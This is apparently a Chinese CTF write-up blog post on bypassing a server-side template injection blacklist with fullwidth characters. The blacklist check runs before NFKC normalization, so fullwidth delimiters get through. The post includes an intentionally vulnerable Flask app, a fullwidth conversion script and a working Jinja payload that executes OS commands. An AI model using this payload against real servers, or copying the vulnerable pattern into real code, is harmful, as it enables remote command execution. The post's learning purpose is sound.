SSTI中的全角字符绕过

前言

UNICTF中考了一道用全角字符绕过的题目,被卡了半天,今天来总结一下

比赛的时候我忽略了这句话:Supports typegraphy clean up(CJK-friendly)

这里的CJKCJK Unified Ideographs的缩写,意思是“中日韩统一表意文字”

其中就包含了全角字符

因此,我们可以猜测,后端对用户的输入进行了规范化,将输入全部转换为半角字符。同时WAF只对半角字符进行了限制,对全角字符没有影响。

测试代码

from flask import Flask, request, render_template_string
import unicodedata

app = Flask(__name__)

@app.route('/')
    name = request.args.get('name', 'Guest')
    
    black_list = ['{{','}}','{%','%}']
        
    for blk in black_list:
        if blk in name:
            return "Input contains forbidden substrings."
    
    # 模拟后端为了兼容性,对输入进行了 Unicode 规范化处理 (NFKC) 
    # 这会将全角字符(如 "{{")转换为半角标准字符
    normalized_input = unicodedata.normalize('NFKC',name)
    
    print(normalized_input)
    
    template = f'''
    <html>
        <head><title>SSTI Test</title></head>
        <body>
            <h1>Hello, {normalized_input}!</h1>
        </body>
    </html>
    '''
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True, port=5000)
import unicodedata

def halfwidth_to_fullwidth(text):
    full_width_text = ""
    for char in text:
        code = ord(char)

        if code == 32:
            code = 12288

        elif 33 <= code <= 126:
            code += 65248
        
        full_width_text += chr(code)
        
    return full_width_text


if __name__ == '__main__':
    text = input();
    print(halfwidth_to_fullwidth(text))

可以看到成功绕过

最后直接转换payload

//半角
{{lipsum.__globals__['os'].popen('whoami').read()}}

//全角
{{lipsum.__globals__['os'].popen('whoami').read()}}

总结一下

总体来说算是一道简单题,因为提示了会对输入进行规范化,很自然就会想到全角字符,unicode绕过。以后做题的时候还得更仔细些...

posted @ 2026-02-02 13:07  leee0  阅读(20)  评论(0)    收藏  举报